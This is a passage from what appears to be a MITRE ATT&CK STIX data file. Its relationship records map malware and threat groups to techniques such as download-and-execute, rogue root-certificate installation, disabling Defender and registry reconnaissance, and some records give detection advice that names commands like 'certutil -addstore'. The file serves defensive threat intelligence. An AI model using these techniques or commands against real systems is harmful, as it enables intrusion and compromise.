","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2efd43af-7571-4fd6-81cd-c26d7f769133","created":"2023-04-04T22:04:02.704Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:04:02.704Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can encode data using Base64 prior to exfiltration.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f006f5c-e076-4361-a871-922663e029a2","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f081501-0c5c-4662-b7b4-3dc5a8a3b1af","created":"2021-12-27T19:19:42.895Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can download and execute additional files.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:00:36.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f0bcef1-1f30-4585-b158-25d614f5f350","created":"2024-03-13T20:30:15.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T20:53:31.954Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used malicious SparkGateway plugins to inject shared objects into web process memory on compromised Ivanti Secure Connect VPNs to enable deployment of backdoors.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f0fee17-1cd1-45dd-a1e0-f854c03ed064","type":"relationship","created":"2020-05-07T02:33:06.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.539Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has deleted files related to its dynamic debugger feature.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f11e661-a5a0-4420-b97e-b080fc4fa441","created":"2020-12-29T16:20:58.969Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:58:03.256Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) can create registry keys to load driver files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f146c3d-5dd4-42e2-a62b-04adcb36485c","created":"2022-04-06T18:21:44.886Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has relied upon users clicking on links to malicious files.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T18:21:44.886Z","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f14f601-d732-4770-ab76-a7c99627398e","created":"2021-12-27T16:53:14.018Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro Confucius APT Aug 2021","url":"https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html","description":"Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has lured victims into clicking on a malicious link sent through spearphishing.(Citation: TrendMicro Confucius APT Aug 2021)","modified":"2022-04-07T21:12:38.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f1588c1-16b9-4cb2-b94c-1756829183ae","type":"relationship","created":"2021-09-23T13:09:35.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-23T13:09:35.868Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used TightVNC to control compromised hosts.(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f16d53b-7f08-42d2-93bb-47e0f854eb12","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for commands, such as security add-trusted-cert (macOS) or certutil -addstore (Windows), that can be used to install root certificates. A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"SpectorOps Code Signing Dec 2017","description":"Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.","url":"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"},{"source_name":"Microsoft Sigcheck May 2017","description":"Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.","url":"https://docs.microsoft.com/sysinternals/downloads/sigcheck"}]},{"type":"relationship","id":"relationship--2f1861d0-00dc-4b68-aab6-0a2f781b3a94","created":"2024-05-25T16:36:11.123Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:36:11.123Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) initial loaders will also drop a malicious Windows batch file, available via open source GitHub repositories, that disables Microsoft Defender functionality.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f19f736-a547-47c3-ae26-40a0d13cdf41","type":"relationship","created":"2021-09-29T22:24:15.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-10-15T16:33:28.722Z","description":"[APT38](https://attack.mitre.org/groups/G0082) have enumerated files and directories, or searched in specific locations within a compromised host.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f1cb78e-3859-4e7f-976e-ddb791ffdad3","created":"2024-05-17T13:39:15.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:09:27.877Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) contains an embedded custom [Tor](https://attack.mitre.org/software/S0183) network client that communicates with the primary payload via shared process memory.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f21c707-0fb8-4f7f-9469-1e16c2b3c9b6","type":"relationship","created":"2020-10-19T19:13:59.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-19T19:13:59.737Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5","target_ref":"attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f2432b0-d985-41d8-bc47-e4aa1dbf8372","type":"relationship","created":"2020-06-09T18:50:04.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.182Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has masked executables with document file icons including Word and Adobe PDF.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f249959-a448-454d-85ab-f71c8c5ff277","type":"relationship","created":"2021-06-10T15:13:07.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T15:13:07.279Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can disguise JavaScript files as PDFs.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f25c2ba-ee4b-41e7-9cf9-7a0960f3e77c","type":"relationship","created":"2020-09-23T17:54:32.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.706Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can be executed using rundll32.exe.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f28f6e0-795f-4e0d-8459-514a42a96ce9","type":"relationship","created":"2019-10-07T19:05:49.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.074Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has executed the reg query command for HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default.(Citation: Unit42 BabyShark Feb 2019)\t","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f2f1098-bbb1-4b9b-a131-7dfd4a350af2","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor executed commands and arguments that may achieve persistence by adding a Registry key to the Active Setup of the local machine.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f337593-16b2-40a2-928c-c7659d0326ea","created":"2022-10-11T16:03:53.721Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:03:53.721Z","description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used a dropper that employs a worm infection strategy using a removable device to breach a secure network environment.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f3389a4-e0a6-4dc5-b5ff-38fd185e2821","type":"relationship","created":"2021-11-12T19:30:36.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T17:40:40.885Z","description":"[Diavol](https://attack.mitre.org/software/S0659) has used HTTP GET and POST requests for C2.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f33e27a-6fdf-4121-9e25-a307910b118f","type":"relationship","created":"2021-02-08T22:05:36.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T22:05:36.561Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2f350d97-8492-4eb4-8640-2c3ae2bc8df1","created":"2019-05-29T12:47:44.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro TA505 June 2019","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/"},{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.664Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used msiexec to download and execute malicious Windows Installer files.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f3d9b76-bec9-4cee-9a9b-1c42f373ec86","type":"relationship","created":"2020-05-18T17:31:39.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.399Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used the \"WNetOpenEnumW\", \"WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W” functions to enumerate the network resources on the infected machine.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2f3ff7c9-ea14-45ad-b295-6f2f3c40cff7","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."},{"source_name":"GitHub QuasarRAT","url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."},{"source_name":"Volexity Patchwork June 2018","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) uses AES with a hardcoded pre-shared key to encrypt network communication.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)(Citation: CISA AR18-352A Quasar RAT December 